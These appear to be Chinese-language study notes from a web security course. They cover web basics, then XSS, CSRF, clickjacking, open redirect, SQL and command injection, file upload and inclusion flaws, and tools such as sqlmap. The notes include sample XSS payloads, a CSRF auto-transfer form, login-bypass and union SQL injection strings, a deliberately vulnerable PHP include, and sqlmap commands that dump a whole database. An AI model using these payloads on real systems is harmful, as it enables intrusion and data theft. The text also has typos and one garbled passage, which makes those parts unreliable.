01.WEB基礎(chǔ)知識
第一章 WEB簡介
-
web流程:輸入網(wǎng)站訪問網(wǎng)站之后向服務(wù)器發(fā)送請求,與數(shù)據(jù)庫交互后經(jīng)服務(wù)器返回請求結(jié)果,返回給用戶。
-
瀏覽器工作原理:通過域名獲取web服務(wù)器IP地址(DNS解析);訪問web服務(wù)器。
-
web主要用到的技術(shù):html、javescript、css.
-
URL的詳細(xì)格式:schema://host[:port#]/path/…/[?querty-string] [#anchor]
schema是底層協(xié)議(http,https,ftp);host是服務(wù)器的域名或者IP地址;port是服務(wù)器端口(http默認(rèn)是80可以省略,其余的要指明);/path/是訪問資源的路徑;[?querty-string]是發(fā)給http服務(wù)器的數(shù)據(jù)
- http報文主要分為請求行,頭部,數(shù)據(jù)體。
- http請求—referer:告知服務(wù)器該請求的來源。用來防止盜鏈,防止csrf漏洞。
- 返回碼200是正常返回,301/302是跳轉(zhuǎn)。
第二章 WEB開發(fā)基礎(chǔ)知識
HTML
-
HTML是超文本標(biāo)記語言,能加載JS、CSS、圖片連接等,是web網(wǎng)頁的基礎(chǔ)。
-
JS是為網(wǎng)頁添加動態(tài)功能,瀏覽效果更佳;CSS起到一個規(guī)整作用;HTML是構(gòu)成整個網(wǎng)頁的核心。
-
HTML主要分為HEAD和BODY,經(jīng)F12開發(fā)者工具欄查看;HTML源代碼以
開始,以
結(jié)束。DOM
-
HTML **DOM**是文檔對象結(jié)構(gòu),可將文檔轉(zhuǎn)換為樹結(jié)構(gòu),能更直觀的了解頁面元素。
-
可通過javescript對HTML進(jìn)行任意操作。
注:HTML不區(qū)分大小寫。
<img src="
http://study.163.com/res/images/logo4.png"
width="500" height="100" />
以上是添加圖像的代碼
<a href=
"http://study.163.com/smartSpec/intro.htm">
點我訪問網(wǎng)易微專業(yè)</a>
以上是添加超鏈接的代碼
<form> ... </form>
以上代碼用于創(chuàng)建表單,常見的表單有登錄框等
<iframe src="
http://study.163.com/smartSpec/intro.htm"
frameborder="0" width="480" height="240"
></iframe>
以上是創(chuàng)建內(nèi)聯(lián)框架的代碼,可在網(wǎng)頁內(nèi)再添加一個頁面框
JAVASCRIPT
js可以在HTML的之間運行;可以在HTML的事件屬性中(onclick)運行;在瀏覽器的JavaScript中運行。
借用了c和Java的語法S
獲取HTML元素內(nèi)容的方法:(1)通過getElementById():通過id獲取元素;(2)通過.innerHTML:獲取元素內(nèi)容。
注:alert()可在JavaScript中表示彈出警告框,可以用來展示信息。
創(chuàng)建動態(tài)的HTML元素內(nèi)容用到document.write() 命令。Date()可用來獲取當(dāng)前時間。
修改HTML form元素內(nèi)容:(1)選定登錄框元素,找到id=urs-lg-form;(2)通過命令獲取元素內(nèi)容,并修改為一個HTML的iframe框架(用Console)。
讓頁面增加互動:當(dāng)我們點擊時,頁面內(nèi)容改變點擊時間<- ->onclick。
DOM(文本對象模型)
使用JavaScript訪問和操作HTML就是JavaScrip DOM的操作。
DOM本質(zhì)是連接web頁面和編程語言。
JavaScript+DOM 用于訪問和操作HTML文檔。
BOM(瀏覽器對象模型)
使用JavaScript獲取瀏覽器信息和操作瀏覽器就是JavaScript BOM。
BOM本質(zhì)是連接瀏覽器和編程語言。
常用的提示方式:警告彈窗alert(),確認(rèn)彈窗confirm(),提示彈窗prompt()。
注:常用于簡單的調(diào)試和信息展示,如XSS漏洞的測試。
cookie是服務(wù)器發(fā)放給用戶客戶端的一小段文本信息,當(dāng)作用戶憑證。
獲取用戶cookie方式:在控制臺(Console)中輸入document.cookie。 寫入cookie用到document.cookie=“寫入值”。
BOM的其他獲取和操作:獲取瀏覽器屏幕信息(window.)screen;獲取/控制用戶頁面URL(window.)location;獲取訪問者瀏覽器信息(window.)navigator;操作瀏覽器窗口:window.open,close();
web服務(wù)端
web服務(wù)端主要包括操作系統(tǒng),web服務(wù),解釋執(zhí)行環(huán)境,數(shù)據(jù)庫服務(wù)(MySQL)。
流行的架構(gòu)主要有Windows server的.NET,Linux的LAMP,UNIX/Windows的J2EE。
apache(web服務(wù))
localhost 可用本地主機(jī)訪問,127.0.0.1,本機(jī)IP,DNS服務(wù)器或者HOSTS文件。
設(shè)置hosts時,要以管理員身份打開記事本之后保存。也可以更改域名。
SQL(MySQL)
SQL語言是指結(jié)構(gòu)化查詢語言,是一門ANSI的標(biāo)準(zhǔn)計算機(jī)語言,用來訪問和操作數(shù)據(jù)庫。
數(shù)據(jù)庫包括SQL server,MySQL和Oracle。(語法大致相同)
創(chuàng)建數(shù)據(jù)庫指令:CRATE DATABASE websecurity;
查看數(shù)據(jù)庫:show datebase;
切換數(shù)據(jù)庫:USE websecurity;
刪除數(shù)據(jù)庫:DROP DATABASE websecurity;
注:SQL對大小寫不敏感,分號作為語句的結(jié)束。
CREATE TABLE teacher(
id int (4)not null primary key auto_increment,
name char(20) not null,
sex char(10) not null,
addr char(20) not null
);
以上是一個創(chuàng)建數(shù)據(jù)表的語句,int (4)表示整型四字節(jié),not null表示不是空值,primary key表示鍵值,auto_increment表示自增長。
查看數(shù)據(jù)表:show tables;
查詢數(shù)據(jù)表內(nèi)容:select * from teacher;
insert into teacher(name,sex,addr)
values('Leo','Male','hangzhou')
以上是插入數(shù)據(jù)的命令。
更新數(shù)據(jù):update teacher set name =‘ivan’ where id =1;
刪除數(shù)據(jù):delete from teacher where name =‘ivan’';
注:“*”代表所有符合數(shù)據(jù)。
排序:select 信息 from 數(shù)據(jù)表 order by 字段; ASE/DESC(升序/降序)。升序為默認(rèn)可省略。
注:可使用order by “數(shù)字”來判斷數(shù)據(jù)表的字段長度
合并數(shù)據(jù)表:select 信息 from 表1 union select 信息 from 表2;(union all可以顯示所有數(shù)據(jù),包含重復(fù)數(shù)據(jù))
MySQL注釋:#… , --… , /* … */(SQL注釋能夠繞過注入)
常見的內(nèi)置函數(shù):selec database()打印當(dāng)前數(shù)據(jù)庫名稱;selec current_user打印當(dāng)前用戶;load_file()返回當(dāng)前的內(nèi)容;version();into+outfile 寫入文件。利于用SQL注入漏洞獲取信息。
PHP
PHP稱作超文本預(yù)處理器,是一種使用廣泛的開源的腳本語言,常用于網(wǎng)頁開發(fā),PHP腳本在服務(wù)器上執(zhí)行。
PHP可放在文檔中的任何位置,// #代表單行注釋,/* */代表多行注釋。
PHP的兩種重要的語句echo和print。echo無返回,可以一次輸出多個;print有返回值。
注:串接:.(點) 函數(shù):function 函數(shù)名() 變量:$變量名(變量大小寫敏感)。
PHP代碼由基礎(chǔ)語法,語句,變量和函數(shù)構(gòu)成。
$_POST和 G E T 都可以接受傳值,但要相對應(yīng)。而 _GET都可以接受傳值,但要相對應(yīng)。而 G?ET都可以接受傳值,但要相對應(yīng)。而_REQUEST可以接受GET和POST兩者的傳值。
文件上傳主要用到的是$_FILES,通過HTTP POST的方法。 S E R V E R 用于獲取網(wǎng)頁的一些信息。還有變量例如: _SERVER用于獲取網(wǎng)頁的一些信息。還有變量例如: S?ERVER用于獲取網(wǎng)頁的一些信息。還有變量例如:GLOBALS、 E N V 、 _ENV、 E?NV、 _REQUEAT、$ _COOKIE、$ _SESSION等
include 'upload_file.php';
以上是在網(wǎng)頁中插入文件的代碼(文件包含)。包含文件可用include/require實現(xiàn)。include:出現(xiàn)錯誤腳本繼續(xù)執(zhí)行;require:出現(xiàn)錯誤腳本停止執(zhí)行。
PHP的連接和操作數(shù)據(jù)庫:
(1)連接MySQL服務(wù)
$con=mysql_connect("locaalhost",'root','root');
(2)設(shè)定編碼
mysql_query("SET NAMES UTF8");
(3)選擇數(shù)據(jù)庫
mysql_select_db("websecurity",$con);
(4)操作數(shù)據(jù)庫
mysql_query("SELECT * FROM teacher");
(5)關(guān)閉連接
mysql_close($con);
以上操作數(shù)據(jù)庫方法叫MYSQL擴(kuò)展。還有MYSQLi擴(kuò)展和PDO擴(kuò)展(PHP Data Objects),方法類似。
搭建web漏洞演示環(huán)境demo版:數(shù)據(jù)庫導(dǎo)入MYSQL;demo源碼導(dǎo)入;配置數(shù)據(jù)庫文件。
通過MYSQL命令符導(dǎo)出數(shù)據(jù)庫:“被導(dǎo)出文件路徑 -u root -p websecurity > 文件要導(dǎo)出的位置”。
通過MYSQL命令符導(dǎo)入數(shù)據(jù)庫:”source 文件名“。
一般情況下網(wǎng)頁是指向首頁的,首頁的名稱一般是index.php、default.php。
02.web安全基礎(chǔ)
常見的安全事件
(1)釣魚
具有誘惑性標(biāo)題,仿冒真實網(wǎng)站,騙取用戶賬號,騙取用戶資料。通常使用郵件發(fā)送鏈接的形式。
(2)網(wǎng)頁篡改
被黑客入侵后進(jìn)行網(wǎng)頁的篡改,百度輸入"intitle:hack by"可搜出被黑了的網(wǎng)站。搜索關(guān)鍵字:Hacked by
搜索引擎語法:Intitle:keyword 標(biāo)題中含有關(guān)鍵詞的網(wǎng)頁;Intext:keyword 正文中含有關(guān)鍵詞的網(wǎng)頁;Site:domain在某個域名和子域名下的網(wǎng)頁。
(3)暗鏈
主要是攻破網(wǎng)站后將一些第三方鏈接植入到網(wǎng)頁中。百度搜索"Intext www.saginn.com"有相關(guān)網(wǎng)站。主要是為了將某些網(wǎng)站排在搜索引擎的前列。暗鏈?zhǔn)侵饕陌踩[患!
暗鏈?zhǔn)请[藏在網(wǎng)站中的鏈接;暗鏈不是為正常用戶所準(zhǔn)備的,是為搜索引擎的爬蟲機(jī)器人準(zhǔn)備的,主要是為了提高排名,一般是網(wǎng)游醫(yī)療博彩。
(4)Webshell(主)
攻破網(wǎng)站后留有后門的一種技術(shù),相當(dāng)于web傳送門,可隨時回到被入侵的網(wǎng)站中。分為大碼和小碼,大碼復(fù)雜功能全,小碼簡介功能簡單。Webshell相當(dāng)于上傳了一個后門。功能非常強(qiáng)大,存在形式豐富,主要為asp/php/jsp/cji。通常以瀏覽器訪問后門,很難發(fā)現(xiàn)。
Web安全(簡略)
主要分為客戶端安全和服務(wù)器安全。
客戶端安全
主要有XSS(跨站腳本注入)、CSRF(跨站請求偽造)、點擊劫持、URL跳轉(zhuǎn)
服務(wù)器安全
主要有SQL注入、命令注入、文件操作
XSS
全稱:Cross Site Script(跨站腳本)客戶端安全的頭號大敵
危害:盜取用戶信息、篡改頁面釣魚、制造XSS蠕蟲
概念:黑客通過"HTML注入"篡改網(wǎng)頁,插入了惡意腳本,當(dāng)用戶瀏覽網(wǎng)頁時,實現(xiàn)控制用戶瀏覽器行為的一種攻擊方式。
XSS主要是盜取用戶的COOKIE。
XSS主要分為存儲型,反射型,DOM型
XSS是因為某圖片等加載失敗從而觸發(fā)的XSS。
存儲型
一般是通過訪問網(wǎng)站的形式被觸發(fā),一般通過彈窗提醒用戶XSS被觸發(fā)??赏ㄟ^火狐的Firebug查看。
存儲型可以通過F12/firebug查看源代碼了解。
過程:黑客構(gòu)造含XSS腳本的內(nèi)容,提交給web應(yīng)用程序,wen將含XSS的內(nèi)容寫入數(shù)據(jù)庫中,當(dāng)用戶訪問web網(wǎng)站時,數(shù)據(jù)庫將含XSS的內(nèi)容返回給了用戶。
植入方式:在某網(wǎng)站留言版中留言即可植入
hello<img src=a onerror=alter(/xss/)>
反射型
一般是用戶主動訪問攜帶XSS腳本的鏈接從而觸發(fā)的XSS。主要是通過惡意鏈接。
與存儲型XSS不同的是,反射型可以在URL中發(fā)現(xiàn)明顯的XSS特征,例如:"< img src =@ cοnerrοr=alter(/xss/) > "
和存儲型相同,可以通過F12查找其源代碼。
原理:通過request獲取參數(shù)后,直接echo輸出到客戶端導(dǎo)致XSS。
與存儲型不同的是,反射型只需要一步,而存儲型需要黑客將XSS鏈接植入網(wǎng)站中。
植入方式舉例:在正常網(wǎng)頁URL后方添加代碼
<img src=a onerror=alter(/xss/)>
DOM型
與反射型相同,需要用戶主動訪問攜帶XSS腳本的鏈接才能觸發(fā)XSS。
本質(zhì)是通過JavaScript觸發(fā)的!
查找DOM可用Firebug查看源代碼,再通過搜索關(guān)鍵字hash找到代碼。使用單純的F12查看源代碼找不到DOM型XSS。
過程:用戶訪問含XSS的腳本鏈接,瀏覽器通過JavaScript解析URL內(nèi)容并輸出到DOM中。
DOM主要是通過前端JavaScript將XSS腳本寫入DOM中;反射型主要是用后端應(yīng)用程序?qū)SS寫入頁面中,通過渲染觸發(fā)XSS。
哈希hash代表的分隔符:#
植入方式:也是通過在URL之后添加XSS代碼。
<img src=a onerror=alter(/xss/)>
總結(jié)
存儲型XSS的觸發(fā)過程為兩步:黑客構(gòu)造XSS腳本;正常用戶訪問攜帶腳本的頁面。反射型和DOM型過程為正常用戶訪問攜帶XSS腳本的URL。
存儲型的數(shù)據(jù)存儲實在數(shù)據(jù)庫中,反射型和DOM型是以URL型式。
存儲型和反射型的輸出是后端web應(yīng)用程序,輸出位置為HTTP響應(yīng)中。DOM型是前端JavaScript來輸出,由動態(tài)構(gòu)造的DOM節(jié)點輸出。
CSRF
全稱為Cross-site request forgery(跨站請求偽造)。
危害:執(zhí)行惡意操作(“被轉(zhuǎn)帳”、“被發(fā)垃圾評論”等);制造蠕蟲……
概念:利用用戶一登陸的身份,在用戶毫不知情的情況下以用戶的名義完成非法操作。
構(gòu)造攻擊代碼:
<body onload="submitForm();"> //自動提交表單
<div class="tip">加載中,請稍后...</div>
<form id="transferForm"
action="http://127.0.0.1:8080/demo/csrf/transfer.php"http://轉(zhuǎn)賬地址
method="post">
<input type="hidden" name="toUser" value="黑客" /> //轉(zhuǎn)賬信息
<input type="hidden" name="amount" value="10" /> //轉(zhuǎn)賬信息
</form>
</body>
<script>
function submitForm() {
document.getElementById("transferForm").submit();
} //提交表單
</script>
通過此代碼自動完成轉(zhuǎn)賬。
可通過“view source+原URL”查看源代碼,可發(fā)現(xiàn)黑客通過iframe嵌入轉(zhuǎn)賬鏈接,且高度寬度都設(shè)置為0讓用戶無法發(fā)現(xiàn)。iframe能讓用戶只看到外層網(wǎng)頁,看不到自動的頁面跳轉(zhuǎn)。
點擊劫持
點擊劫持又被稱作“UI-覆蓋攻擊”,即在網(wǎng)站上面覆蓋網(wǎng)站,達(dá)到欺騙用戶操作的目的。利用的方法有iframe/flash或者其他標(biāo)簽的屬性。
補(bǔ):利用iframe可以創(chuàng)建包含另外一個文檔的內(nèi)聯(lián)框架。
讓兩個網(wǎng)站看起來外層一樣的方法:(主要利用iframe)
<head>
<title>xxx</title>
<style>
html.body/iframe{
display:block; (1)用來設(shè)置元素的顯示方式。block以區(qū)塊方式顯示
height:100%; (3)高度寬度100%是為了讓其占滿整個瀏覽器
width:100%;
margin:0; (4)讓間距為0
padding:0;
border:none; (2)none用來隱藏元素,border用來隱藏邊框。
}
</style>
</head>
<body>
<iframe src="http://aq.163.com/module/hole/hole-submit.html"></iframe>
</body>
注:可以通過調(diào)整網(wǎng)頁的可見度來發(fā)現(xiàn)內(nèi)層被嵌套著的網(wǎng)頁
點擊劫持特點:隱蔽性較高,主要是為了騙取用戶操作,對指定網(wǎng)站進(jìn)行操作*****
修改被覆蓋網(wǎng)頁的可見度代碼**:
//在上方代碼的style內(nèi)再添加一部分
iframe{
opaoity:0; // opaoity和filter屬性只要將值設(shè)置為零就能使頁面實現(xiàn)隱藏?。?!
filter:alpha(opacity=30); /* IE */ //(30)值越大越清晰
-moz-opacity:0.3; /*Moz + ff */ //(0.3)值越大越清晰
opacity:0.3; /* 支持CSS3的瀏覽器 (FF1.5也支持) */ //(0.3)值越大越清晰
position:absolute;
z-index:2;
}
調(diào)整圖片位置的代碼:
//在上方代碼的style內(nèi)再添加一部分
button{
position:absoute;
top:-5px; //頁面上邊距
left:875px; //頁面左邊距
z-index:1; //!元素垂直顯示順序,值變大,圖片感覺距離更近!
width:72px;
height:26px;
}
URL跳轉(zhuǎn)
攻擊者通常利用一些可信網(wǎng)站與不可信網(wǎng)站結(jié)合在一起,去混淆用戶例如:http://mail.qq.com/cgi-bin/mial_spam?action=check_link&spam=0&url=http://jtvx518.cc等后綴被附加上的url跳轉(zhuǎn)的網(wǎng)站”goto=http://jtvx518.cc“;“jumpUrl=http://”;“act=go&url=”等。
URL跳轉(zhuǎn)的實現(xiàn)方式:Header頭跳轉(zhuǎn);JavaScript跳轉(zhuǎn);META標(biāo)簽跳轉(zhuǎn)。
Header頭跳轉(zhuǎn)
(1)獲取鏈接
$url = $ REQUEST{"url"}; //獲取用戶請求鏈接
(2)Header方法頁面跳轉(zhuǎn)
header{"Location:$url"}; //跳轉(zhuǎn)到指定url
JavaScript跳轉(zhuǎn)
(1)通過js腳本獲取參數(shù)值
var site = getQueryString("site") //獲取用戶請求鏈接
(2)js頁面跳轉(zhuǎn)
window.location.href=site; //跳轉(zhuǎn)到鏈接地址
META跳轉(zhuǎn)
(1)獲取鏈接
$url = $_REQUEST{"url"}; //獲取用戶請求鏈接
(2)META實現(xiàn)跳轉(zhuǎn)
<meta http-equiv="Refresh" content="5: url=<?php echo $url?>" /> //跳轉(zhuǎn)到鏈接地址,content=5是設(shè)置跳轉(zhuǎn)延遲,5秒后實行頁面跳轉(zhuǎn)
實現(xiàn)過程:
黑客構(gòu)造并發(fā)送惡意鏈接,用戶訪問后,被引導(dǎo)進(jìn)入惡意網(wǎng)站,用戶錯以為使官方網(wǎng)站,會進(jìn)行一些操作,導(dǎo)致信息泄露。
URL跳轉(zhuǎn)的型式:http://www.xxx.com?url=www.evil.com
SQL注入
全稱 SQL Injection,是一種常見的Web安全漏洞,攻擊者利用這個漏洞,可以訪問或修改數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫漏洞進(jìn)行攻擊。
萬能密碼:”admin‘ – “(注意空格)
正常登錄方式:(1)POST請求進(jìn)行登錄
$username = $_POST['username'];
$password = MD5($_POST['password']);
(2)請求參數(shù)
(3)參數(shù)帶入代碼(拼接到代碼中)
$check_query = mysql_query("select name from teacher where name=''$username'and password='$password'limit 1");
(4)驗證查詢結(jié)果
(5)根據(jù)返回結(jié)果判斷是否登錄成功。
萬能代碼起到了閉合,注釋的作用。將代碼改成了select name from teacher where name=‘a(chǎn)dmin’。
一次SQL注入的過程:1.獲取用戶請求參數(shù) 2.拼接到代碼中 3.SQL語句按照我們構(gòu)造參數(shù)的語義執(zhí)行成功
SQL注入的必要條件:1.可以控制輸入的數(shù)據(jù) ;
? 2.**服務(wù)器要執(zhí)行的代碼拼接了控制的數(shù)據(jù)。
SQL注入的本質(zhì):數(shù)據(jù)和代碼未分離,即數(shù)據(jù)當(dāng)作了代碼來執(zhí)行。
利用腳本獲取系統(tǒng)版本:username=admin’ and1=2 union version() –
獲取當(dāng)前數(shù)據(jù)庫用戶:username=admin’ and1=2 union select user() –
SQL注入危害:
(1)獲取數(shù)據(jù)庫信息:管理員后臺用戶名和密碼;獲取其他數(shù)據(jù)庫敏感信息:用戶名、密碼、手機(jī)號碼、身份證、銀行卡信息等;下載整個數(shù)據(jù)庫(脫褲)
(2)獲取服務(wù)器權(quán)限
(3)植入Webshell,獲取服務(wù)器后門
(4)讀取服務(wù)器敏感文件
(5)萬能密碼等
命令注入
DOS命令打開方式:win+r 文件路徑:C:\ \Windows\system32\cmd.exe
DOS命令功能:
(1)查看本地網(wǎng)絡(luò) “ipconfig”
(2)查看系統(tǒng)用戶 “net user”
(3)查看當(dāng)前目錄 “ dir"./" ”
(4)字符串查找 “find “hello” ./test.txt”(查找含hello的文本)
(5)復(fù)合命令 echo hello & echo world(命令拼接&,依次執(zhí)行拼接的命令);ipconfig | find “IPv4”(在IP中查找IPv4的地址)(管道符|,前面命令的輸出作為后面命令的輸入)
命令注入的必要條件:(1)調(diào)用可執(zhí)行系統(tǒng)命令的函數(shù)(2)函數(shù)或函數(shù)的參數(shù)可控(例如URL、破損參數(shù)、cookie等)(3)可控參數(shù)能有效地拼接注入命令
web中能夠執(zhí)行系統(tǒng)命令的函數(shù):
PHP:system、exec、shell_exec、eval等
'curl-I"' . $url .'"'; //""是將url括住,起到分隔符的作用。
以上代碼使請求url并返回url的響應(yīng)頭。
過程:黑客將構(gòu)造的命令輸入給web應(yīng)用程序,然后進(jìn)行拼接命令,使web執(zhí)行注入的命令,然后將結(jié)果返回給黑客。
注:URL中&符號轉(zhuǎn)化為%26!
文件操作漏洞
常見的文件操作:
(1)文件上傳:上傳頭像,上傳附件
(2)文件下載:下載應(yīng)用,下載附件
利用文件操作漏洞可以:(1)文件上傳:上傳webshell,上傳木馬
(2)文件下載:下載系統(tǒng)任意文件,下載程序代碼
常見的文件操作漏洞:文件上傳漏洞,任意文件下載,文件包含漏洞
文件上傳
正常功能,互聯(lián)網(wǎng)產(chǎn)品不可或缺,如上傳頭像,上傳附件
若文件處理不當(dāng),能上傳可執(zhí)行腳本,木馬文件。如webshell,木馬exe
(1)構(gòu)造惡意文件:編寫php代碼并上傳文件
<?php
phpinfo();
?>
(2)惡意上傳
(3)獲取文件地址。將鼠標(biāo)放到加載失敗的圖片上右鍵查看地址
(4)訪問上傳文件。被當(dāng)成php執(zhí)行,說明存在漏洞
文件上傳漏洞的條件:(1)可以上傳可執(zhí)行腳本(2)腳本擁有執(zhí)行權(quán)限
任意文件下載
正常功能,互聯(lián)網(wǎng)產(chǎn)品不可或缺,如下載APP,下載附件
若文件處理不當(dāng),能夠下載服務(wù)器當(dāng)中任意文件如:oho/aspx/jsp文件
觀察URL可總結(jié)出文件下載的方式,通過改變URL的內(nèi)容實現(xiàn)下載
危害:導(dǎo)致代碼泄露
文件處理不當(dāng):(1)未驗證下載文件格式(2)未限制請求的路徑
文件包含漏洞
正常功能:節(jié)約代碼量,讓程序美觀。如:重復(fù)代碼寫入一個文件。
若文件處理不當(dāng),用戶能上傳惡意文件或者遠(yuǎn)程文件,如:jpg/txt/php文件
分為本地文件包含和遠(yuǎn)程文件包含。
本地文件包含主要是包含本地服務(wù)器的文件;遠(yuǎn)程文件包含是包含遠(yuǎn)程服務(wù)器的文件,通過發(fā)送HTTP請求來引用遠(yuǎn)程文件。
文件包含過程:(1)通過get獲取文件地址(2)通過include包含文件
<?php
if(isset($_GET['name'])){
$filename = $_GET['name'];
include($filename);
}else{
echo"Error.";
}
?>
測試注意事項:
allow_url_fopen = On(是否允許打開遠(yuǎn)程文件)
allow_url_include = On(是否允許包含遠(yuǎn)程文件)
否則容易導(dǎo)致測試失敗。
03 WEB安全工具
Web站點滲透測試基本步驟:A.信息搜集:
IP、物理地址、CND、服務(wù)器信息、whois信息、旁站及二級域名、CMS類型等
B.漏洞探測及利用:敏感信息泄露、SQL注入、后臺弱口令、文件上傳、XSS、各種Web應(yīng)用漏洞等
C.植入后門及權(quán)限提升、內(nèi)網(wǎng)滲透:
Webshell植入、提權(quán)、用戶添加、內(nèi)網(wǎng)滲透
D.痕跡清理:
清理服務(wù)器訪問日志、操作系統(tǒng)日志等
如何黑掉一個網(wǎng)站?
發(fā)現(xiàn)漏洞、驗證漏洞、利用漏洞、獲取權(quán)限
如何保護(hù)一個網(wǎng)站?
發(fā)現(xiàn)漏洞、驗證漏洞、思考原理和成因、對癥下藥修復(fù)漏洞
代理工具的介紹
常用的HTTP代理抓包工具
Burp suite、Charles、Fiddler
Burp suite
主要功能:代理配置與抓包(Proxy)、數(shù)據(jù)包重放(Repeater)、編解碼(Decoder)
基于JAVA環(huán)境,跨平臺;功能強(qiáng)大,除了代理抓包還有豐富的安全測試功能。
Charles
基于Java環(huán)境,跨平臺;代理抓包 功能細(xì)致,操作簡單。(功能比bp單一)
Fiddler
Windows下運行;提供免費的個人版本。 功能較豐富。
firefox中的常用插件
Firebug
為Firefox瀏覽器提供了更加豐富的開發(fā)者工具箱,可通過F12或者右上角工具欄或鼠標(biāo)右鍵菜單打開(網(wǎng)絡(luò)與審查頁面元素)
HackBar
為Firefox瀏覽器提供快速構(gòu)造HTTP請求及多種編碼變換的功能??赏ㄟ^在瀏覽器上方的空白處鼠標(biāo)右鍵打開(構(gòu)造數(shù)據(jù)包)
界面當(dāng)中的主要功能:可以在INT處選擇進(jìn)制;
提供SQL、XSS等多種變換算法;
通過load URL可以復(fù)制當(dāng)前瀏覽器地址欄URL;
通過split URL分離URL中的參數(shù);
post data構(gòu)造POST方式的參數(shù);
Referrer構(gòu)造HTTP數(shù)據(jù)包的Referrer字段;(可以通過設(shè)置referrer來防御CSRF,嘗試?yán)@過)
Advanced Cookie Manager
編輯cookie類插件為Firefox瀏覽器提供快速修改、增加、刪除cookie的功能。(修改cookie值)
使用步驟:(1)選擇目標(biāo)站點(2)選擇cookie某字段(3)修改、復(fù)制、刪除、增加cookie字段
Proxy Switcher
可以方便的進(jìn)行代理服務(wù)器的配置和切換
敏感文件探測
Python語言上手簡單,Web功能強(qiáng)大,有很多Python語言開發(fā)的Web安全工具
常見的敏感文件類型:網(wǎng)站管理后臺,數(shù)據(jù)文件,備份文件,Webshell
敏感文件探測原理:猜測文件名,根據(jù)返回的HTTP狀態(tài)碼判斷文件是否存在。
200:文件存在;301:文件發(fā)生跳轉(zhuǎn);404:文件不存在
字典選擇(參考):ASP.txt、DIR.txt、MDB.txt、PHP.txt
如何判斷常見網(wǎng)站腳本類型?
(ASP、PHP、ASPX、JSP等)
一個簡單的辦法:判斷index的文件類型。查看:index.asp、index.php、index.aspx、index.jsp等是否存在。(在URL中輸入各種類型看是否顯示)
掃描網(wǎng)站如何生成針對性的字典?
舉例:以構(gòu)造針對性的備份文件字典為例
目標(biāo)站點:http://testphp.vulnweb.com
可能存在的備份文件名:testphpvulnwebcom.rar(域名連在一起) ;
vulnweb.com.rar (域名后半段);
TESTPHP.VULNWEB.COM.rar(整個域名大寫)等
漏洞掃描工具(略)
綜合性Web漏洞掃描器:AWVS , Netsparker ,AppScan
以AWVS為例:
功能:一專多能,除了核心的站點漏掃,還有站點爬蟲,RP段的基本探測,子域名的探測。
問題1:使用漏掃工具需要明確的問題:1.對目標(biāo)站點的誤傷,如:高流量、請求了危險功能(刪除數(shù)據(jù)庫等)AWVS在運行中容易產(chǎn)生較高流量和并發(fā)連接數(shù),若目標(biāo)服務(wù)器脆弱,容易造成宕機(jī);若目標(biāo)服務(wù)器有刪除數(shù)據(jù)庫功能,而漏掃時正好請求了該功能,容易造成誤刪數(shù)據(jù)庫。
2.漏掃的盲區(qū):邏輯漏洞(如:訂單金額數(shù)據(jù)篡改漏洞)。
問題2:漏洞評級問題(技術(shù)角度+業(yè)務(wù)角度)
問題3:漏掃結(jié)果的解讀和運用:
1.測試用例可能需要調(diào)整
2.誤報與漏報
3.將掃描結(jié)果作為人工測試的線索
SQL注入漏洞
SQL注入的成因是因為服務(wù)器要執(zhí)行的數(shù)據(jù)庫代碼拼接了用戶輸入的數(shù)據(jù)。SQL注入漏洞的典型危害是可以被用來獲取數(shù)據(jù)庫敏感數(shù)據(jù)(拖庫)
如何方便的檢測和利用注入漏洞?
可以利用sqlmap,sqlmap基于python2.7環(huán)境下(16年)。
SQL注入工具:啊D、明孝字、Pangolin(穿山甲)、Havij(胡蘿卜)等
命令行工具:(1)只需關(guān)注輸入和輸出;
(2)看到流程化的執(zhí)行細(xì)節(jié)。
sqlmap是一款開源的SQL注入漏洞檢測與利用神器。
發(fā)現(xiàn)和利用SQL注入漏洞基本流程:
1.找到有數(shù)據(jù)庫交互的功能頁面
testphp.vulnweb.com/artists.php?artist=1 //有明顯的問號
2.判斷頁面是否存在SQL注入(在像以上的URL后面加一個英文的’ ,數(shù)據(jù)庫報錯則可判斷存在SQL注入漏洞)
3.利用SQL注入漏洞讀取數(shù)據(jù)
4.導(dǎo)出數(shù)據(jù)保存。
sqlmap特點:1)支持?jǐn)?shù)據(jù)庫廣泛
2)支持的參數(shù)位置,如:GET、POST、COOKIE、HTTP header。
(利用sqlmap可以完成以上流程)
SQLmap的一些常用命令(get注入)
python sqlmap.py -u "url" //可以利用該命令判斷URL類型及其他詳情
注:出現(xiàn) vulnerable 表明前面的參數(shù)存在注入!
python sqlmap.py -u "url" --users //查看所有用戶
python sqlmap.py -u "url" --dbs //查看有哪些數(shù)據(jù)庫
python sqlmap.py -u "url" --current-user --current-db
當(dāng)目標(biāo)用戶和數(shù)據(jù)庫過多時,可用上方命令查看當(dāng)前用戶和當(dāng)前數(shù)據(jù)庫
python sqlmap.py -u "url" --tables -D "數(shù)據(jù)庫名" //讀取目標(biāo)數(shù)據(jù)庫表信息
python sqlmap.py -u "url" --columns -T "列名" -D "數(shù)據(jù)庫名"http://讀取數(shù)據(jù)庫列信息
python sqlmap.py -u "url" --count -T "列名" -D "數(shù)據(jù)庫名" //查看該表有多少條數(shù)據(jù)
python sqlmap.py -u "url" --dump -T "列名" -D "數(shù)據(jù)庫名" //讀取表中數(shù)據(jù)(保存在DUMP文件夾下)
python sqlmap.py -u "url" --dump -T "列名" -D "數(shù)據(jù)庫名" --start 2 --stop 3 //若有多條數(shù)據(jù),可用start、stop規(guī)定讀取范圍
python sqlmap.py -u "url" --dump-all -D "數(shù)據(jù)庫名" //下載整個數(shù)據(jù)庫中的數(shù)據(jù)
對于POST注入的注入如何判斷?
1)可用抓包工具將post抓包保存下來,放到sqlmap文件夾下
python sqlmap.py -r "post文件名稱" //*可用來讀取本地的數(shù)據(jù)包文件*
2)
python sqlmap.py -u "目標(biāo)站點URL" --data-"參數(shù)樣例"
//參數(shù)例如(pass=good&uname=1)
Web在線工具
搜索引擎語法
Google Hack技術(shù)是指使用Google等搜索引擎對某些特定的網(wǎng)絡(luò)主機(jī)漏洞(通常是服務(wù)器上的腳本漏洞)進(jìn)行搜索,以達(dá)到快速找到漏洞主機(jī)或特定主機(jī)的漏洞的目的。
想搜索目標(biāo)站點的頁面用到 site:搜索特定的站點信息(site:目標(biāo)站點)
想找到目標(biāo)站點登陸地址并暴力破解密碼用到 inurl:搜索URL中包含有指定字符串的網(wǎng)址(inurl:網(wǎng)站(login|admin))
intitle:搜索網(wǎng)頁標(biāo)題中包含指定的字符串的網(wǎng)址
